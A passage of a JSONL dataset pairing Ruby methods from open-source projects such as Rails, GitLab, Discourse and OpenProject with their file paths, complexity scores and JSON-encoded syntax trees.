tags\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"ContainerRegistry\"]},\"GitlabApiClient\"]},\"supports_gitlab_api?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"GitLab container registry API not supported\"]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"update\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ALLOWED_ATTRIBUTES\"]}]}]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]},\"errors\"]},\"full_messages\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_protection_tag_rule\"]},{\"type\":\"send\",\"children\":[null,\"container_protection_tag_rule\"]}]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"service_response_error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"ba9e21b5-d81f-45ef-b8cd-5008ee38651f"} {"repo_name":"zeitwerk","file_path":"./repos/zeitwerk/lib/zeitwerk/gem_inflector.rb","start_line":13,"raw_source":"def camelize(basename, abspath)\n abspath == @version_file ? \"VERSION\" : super\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"camelize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"basename\"]},{\"type\":\"arg\",\"children\":[\"abspath\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"abspath\"]},\"==\",{\"type\":\"ivar\",\"children\":[\"@version_file\"]}]},{\"type\":\"str\",\"children\":[\"VERSION\"]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"a0c324f9-a7c7-4352-b33c-1b8f1ba35b1d"} {"repo_name":"discourse","file_path":"./repos/discourse/lib/seed_data/categories.rb","start_line":193,"raw_source":"def update_category(site_setting_name:, name:, description:, skip_changed:)\n category = find_category(site_setting_name)\n return if !category || (skip_changed && !unchanged?(category))\n\n name = unused_category_name(category.id, name)\n category.name = name\n category.slug = Slug.for(name, \"\")\n category.save!\n\n if description.present? && description_post = category&.topic&.first_post\n changes = { title: I18n.t(\"category.topic_prefix\", category: name), raw: description }\n description_post.revise(Discourse.system_user, changes, skip_validations: true)\n end\n end","complexity_score":27.7,"ast_json":"{\"type\":\"def\",\"children\":[\"update_category\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"site_setting_name\"]},{\"type\":\"kwarg\",\"children\":[\"name\"]},{\"type\":\"kwarg\",\"children\":[\"description\"]},{\"type\":\"kwarg\",\"children\":[\"skip_changed\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"category\",{\"type\":\"send\",\"children\":[null,\"find_category\",{\"type\":\"lvar\",\"children\":[\"site_setting_name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_changed\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"unchanged?\",{\"type\":\"lvar\",\"children\":[\"category\"]}]},\"!\"]}]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[null,\"unused_category_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"slug=\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Slug\"]},\"for\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"save!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"present?\"]},{\"type\":\"lvasgn\",\"children\":[\"description_post\",{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"topic\"]},\"first_post\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"changes\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"category.topic_prefix\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"raw\"]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description_post\"]},\"revise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"system_user\"]},{\"type\":\"lvar\",\"children\":[\"changes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_validations\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},null]}]}]}","id":"0b777784-1f18-4629-a8b5-4a72cbd16e9d"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/stimulus_helper.rb","start_line":33,"raw_source":"def content_controller(name, **data)\n @stimulus_content_data = data\n .merge({ controller: name })\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"content_controller\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"kwrestarg\",\"children\":[\"data\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@stimulus_content_data\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"controller\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}]}","id":"9c057877-7877-4880-bdd4-39827ae9cbb3"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/incoming_message_builder.rb","start_line":70,"raw_source":"def process_message_payload?\n thread_timestamp_available? && supported_message? && integration_hook\n end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"process_message_payload?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"thread_timestamp_available?\"]},{\"type\":\"send\",\"children\":[null,\"supported_message?\"]}]},{\"type\":\"send\",\"children\":[null,\"integration_hook\"]}]}]}","id":"d8ce2b31-4ecf-475e-971d-eeb27cbfa95f"} {"repo_name":"forem","file_path":"./repos/forem/app/controllers/users_controller.rb","start_line":348,"raw_source":"def destroy_request_in_progress?\n Rails.cache.exist?(\"user-destroy-token-#{@user.id}\")\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"destroy_request_in_progress?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"cache\"]},\"exist?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"user-destroy-token-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]}]}]}]}","id":"cda2ba00-97d3-4696-9e04-2199941c0fae"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/tools/payloads/ysoserial/find_ysoserial_offsets.rb","start_line":107,"raw_source":"def buffer_offset?(current_byte, next_byte)\n # If this byte has been inserted, then it must be part of the increasingly large payload buffer\n if (current_byte.action == '+' && (next_byte.nil? || (current_byte.position != next_byte.position)))\n return true\n end\n\n false\nend","complexity_score":10.7,"ast_json":"{\"type\":\"def\",\"children\":[\"buffer_offset?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"current_byte\"]},{\"type\":\"arg\",\"children\":[\"next_byte\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_byte\"]},\"action\"]},\"==\",{\"type\":\"str\",\"children\":[\"+\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_byte\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_byte\"]},\"position\"]},\"!=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"next_byte\"]},\"position\"]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]},null]},{\"type\":\"false\",\"children\":[]}]}]}","id":"9dfc84df-caca-4316-91df-ba6e6a81cedc"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_associations_test.rb","start_line":1370,"raw_source":"def test_counter_cache_updates_in_memory_after_create\n topic = Topic.create title: \"Zoom-zoom-zoom\"\n\n topic.replies.create!(title: \"re: zoom\", content: \"speedy quick!\")\n assert_equal 1, topic.replies_count\n assert_equal 1, topic.replies.size\n assert_equal 1, topic.reload.replies.size\n end","complexity_score":16.1,"ast_json":"{\"type\":\"def\",\"children\":[\"test_counter_cache_updates_in_memory_after_create\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"Zoom-zoom-zoom\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"re: zoom\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"str\",\"children\":[\"speedy quick!\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies_count\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"replies\"]},\"size\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"topic\"]},\"reload\"]},\"replies\"]},\"size\"]}]}]}]}","id":"0a8b4609-bd1b-47bb-a87d-6ae2a93d63f7"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/quoting.rb","start_line":46,"raw_source":"def quote_column_name(name) # :nodoc:\n QUOTED_COLUMN_NAMES[name] ||= PG::Connection.quote_ident(name.to_s).freeze\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"quote_column_name\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"QUOTED_COLUMN_NAMES\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PG\"]},\"Connection\"]},\"quote_ident\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"to_s\"]}]},\"freeze\"]}]}]}","id":"77536a01-e03c-43bb-8c1b-b0ac1a0b13a3"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/overviews/db/migrate/20250923120330_remove_news_beta_widgets.rb","start_line":42,"raw_source":"def remove_news_beta_widgets\n execute <<-SQL.squish\n DELETE FROM grid_widgets\n WHERE identifier = 'news_beta'\n SQL\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_news_beta_widgets\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"execute\",{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\" DELETE FROM grid_widgets\\n\"]},{\"type\":\"str\",\"children\":[\" WHERE identifier = 'news_beta'\\n\"]}]},\"squish\"]}]}]}","id":"15502d3b-b667-4dc4-8a1d-941c904b578a"} {"repo_name":"openproject","file_path":"./repos/openproject/app/mailers/sharing_mailer.rb","start_line":35,"raw_source":"def shared_work_package(sharer, membership, group = nil)\n @sharer = sharer\n @shared_with_user = membership.principal\n @invitation_token = @shared_with_user.invited? ? @shared_with_user.invitation_token : nil\n @group = group\n @work_package = membership.entity\n\n role = membership.roles.first\n @role_rights = derive_role_rights(role)\n @allowed_work_package_actions = derive_allowed_work_package_actions(role)\n @url = optionally_activated_url(work_package_url(@work_package.id), @invitation_token)\n @notification_url = optionally_activated_url(details_notifications_url(@work_package.id, tab: :activity), @invitation_token)\n\n set_open_project_headers(@work_package)\n message_id(membership, sharer)\n\n send_localized_mail(@shared_with_user) do\n I18n.t(\"mail.sharing.work_packages.subject\", id: @work_package.id)\n end\n end","complexity_score":33.9,"ast_json":"{\"type\":\"def\",\"children\":[\"shared_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sharer\"]},{\"type\":\"arg\",\"children\":[\"membership\"]},{\"type\":\"optarg\",\"children\":[\"group\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@sharer\",{\"type\":\"lvar\",\"children\":[\"sharer\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@shared_with_user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"principal\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@invitation_token\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]},\"invited?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]},\"invitation_token\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@group\",{\"type\":\"lvar\",\"children\":[\"group\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"entity\"]}]},{\"type\":\"lvasgn\",\"children\":[\"role\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"membership\"]},\"roles\"]},\"first\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@role_rights\",{\"type\":\"send\",\"children\":[null,\"derive_role_rights\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@allowed_work_package_actions\",{\"type\":\"send\",\"children\":[null,\"derive_allowed_work_package_actions\",{\"type\":\"lvar\",\"children\":[\"role\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@url\",{\"type\":\"send\",\"children\":[null,\"optionally_activated_url\",{\"type\":\"send\",\"children\":[null,\"work_package_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]}]},{\"type\":\"ivar\",\"children\":[\"@invitation_token\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@notification_url\",{\"type\":\"send\",\"children\":[null,\"optionally_activated_url\",{\"type\":\"send\",\"children\":[null,\"details_notifications_url\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"tab\"]},{\"type\":\"sym\",\"children\":[\"activity\"]}]}]}]},{\"type\":\"ivar\",\"children\":[\"@invitation_token\"]}]}]},{\"type\":\"send\",\"children\":[null,\"set_open_project_headers\",{\"type\":\"ivar\",\"children\":[\"@work_package\"]}]},{\"type\":\"send\",\"children\":[null,\"message_id\",{\"type\":\"lvar\",\"children\":[\"membership\"]},{\"type\":\"lvar\",\"children\":[\"sharer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send_localized_mail\",{\"type\":\"ivar\",\"children\":[\"@shared_with_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"mail.sharing.work_packages.subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@work_package\"]},\"id\"]}]}]}]}]}]}]}","id":"6181c694-207c-47fb-8a3e-846367574896"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/build/artifacts/metadata.rb","start_line":105,"raw_source":"def read_uint32(gz)\n binary = gz.read(4)\n binary.unpack1('L>') if binary\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"read_uint32\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"gz\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"binary\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"gz\"]},\"read\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"binary\"]},\"unpack1\",{\"type\":\"str\",\"children\":[\"L>\"]}]},null]}]}]}","id":"0f52557f-0d5f-4143-a510-d502f67c2e7d"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_interpolation.rb","start_line":131,"raw_source":"def autocorrect_other(corrector, embedded_node, node)\n loc = node.loc\n embedded_loc = embedded_node.loc\n\n corrector.replace(loc.begin, '')\n corrector.replace(loc.end, '')\n corrector.replace(embedded_loc.begin, '(')\n corrector.replace(embedded_loc.end, ').to_s')\n end","complexity_score":12.8,"ast_json":"{\"type\":\"def\",\"children\":[\"autocorrect_other\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"embedded_node\"]},{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"loc\"]}]},{\"type\":\"lvasgn\",\"children\":[\"embedded_loc\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_node\"]},\"loc\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_loc\"]},\"begin\"]},{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"embedded_loc\"]},\"end\"]},{\"type\":\"str\",\"children\":[\").to_s\"]}]}]}]}","id":"efe5aaa3-633b-4383-8464-8188622eb359"} {"repo_name":"discourse","file_path":"./repos/discourse/app/queries/reports/list_query.rb","start_line":39,"raw_source":"def description\n return I18n.t(\"reports.#{type}.description_legacy\") if legacy?\n I18n.t(\"reports.#{type}.description\", default: \"\").presence\n end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"legacy?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reports.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".description_legacy\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"reports.\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"type\"]}]},{\"type\":\"str\",\"children\":[\".description\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]},\"presence\"]}]}]}","id":"457ded95-d8cc-449c-92cc-f9b2b618b03e"} {"repo_name":"fastlane","file_path":"./repos/fastlane/sigh/lib/sigh/module.rb","start_line":66,"raw_source":"def profile_type_for_distribution_type(platform:, distribution_type:)\n config = { distribution_type.to_sym => true }\n in_house = distribution_type == \"enterprise\"\n\n self.profile_type_for_config(platform: platform, in_house: in_house, config: config)\n end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"profile_type_for_distribution_type\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"platform\"]},{\"type\":\"kwarg\",\"children\":[\"distribution_type\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distribution_type\"]},\"to_sym\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"in_house\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"distribution_type\"]},\"==\",{\"type\":\"str\",\"children\":[\"enterprise\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"profile_type_for_config\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"lvar\",\"children\":[\"platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"in_house\"]},{\"type\":\"lvar\",\"children\":[\"in_house\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"config\"]},{\"type\":\"lvar\",\"children\":[\"config\"]}]}]}]}]}]}","id":"216463af-6ce1-454c-b8ef-dd1324f7ad14"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/permissions_policy_test.rb","start_line":29,"raw_source":"def test_multiple_directives_for_multiple_directives\n @policy.geolocation :self, \"https://example.com\"\n @policy.usb :none, \"https://example.com\"\n assert_equal \"geolocation 'self' https://example.com; usb 'none' https://example.com\", @policy.build\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_multiple_directives_for_multiple_directives\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"geolocation\",{\"type\":\"sym\",\"children\":[\"self\"]},{\"type\":\"str\",\"children\":[\"https://example.com\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"usb\",{\"type\":\"sym\",\"children\":[\"none\"]},{\"type\":\"str\",\"children\":[\"https://example.com\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"geolocation 'self' https://example.com; usb 'none' https://example.com\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@policy\"]},\"build\"]}]}]}]}","id":"d6a39ddc-457f-43c9-a3c3-faded0010373"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-backup-cli/lib/gitlab/backup/cli/tasks/terraform_state.rb","start_line":16,"raw_source":"def local\n Gitlab::Backup::Cli::Targets::Files.new(context, storage_path, excludes: ['tmp'])\n end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"local\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Backup\"]},\"Cli\"]},\"Targets\"]},\"Files\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]},{\"type\":\"send\",\"children\":[null,\"storage_path\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"excludes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"tmp\"]}]}]}]}]}]}","id":"f615ea40-53c9-4fa5-855d-e4f6e55aa1ca"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/controllers/auth/confirmations_controller.rb","start_line":25,"raw_source":"def new\n super\n\n resource.email = current_user.unconfirmed_email || current_user.email if user_signed_in?\n end","complexity_score":10.5,"ast_json":"{\"type\":\"def\",\"children\":[\"new\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_signed_in?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"email=\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"unconfirmed_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"email\"]}]}]},null]}]}]}","id":"9a3e3588-0157-43e0-8ca0-a285ddf682d9"} {"repo_name":"discourse","file_path":"./repos/discourse/app/services/push_notification_pusher.rb","start_line":68,"raw_source":"def self.clear_subscriptions(user)\n user.push_subscriptions.clear\n 